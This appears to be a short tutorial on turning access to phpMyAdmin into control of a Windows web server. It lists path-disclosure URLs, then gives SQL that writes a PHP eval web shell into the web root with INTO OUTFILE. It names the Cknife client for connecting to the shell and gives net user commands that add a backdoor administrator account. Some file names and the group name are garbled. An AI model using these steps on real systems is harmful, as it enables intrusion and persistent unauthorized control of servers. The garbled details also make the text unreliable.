How to use phpMyAdmin to escalate privileges

The following tutorial column of phpmyadmin will introduce to you how to use phpMyAdmin to escalate privileges. I hope it will be helpful to friends in need!

Use phpMyAdmin to escalate privileges

Explode path

• ##/phpmyadmin/libraries/lect_lang.lib.php
• /phpMyAdmin/index.php?lang[]=1
• /phpMyAdmin/phpinfo.php
• /load_file()
• /phpmyadmin/themes/darkblue_orange/layout.inc.php
##/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

Get the physical path C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

WRITE MA

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;

Get webshell

Finally connect with Cknife, create an account and add it to the administrator user group

net user admin admin /add
net localgroup administrator admin /add

The above is the detailed content of How to use phpMyAdmin to escalate privileges. For more information, please follow other related articles on the PHP Chinese website!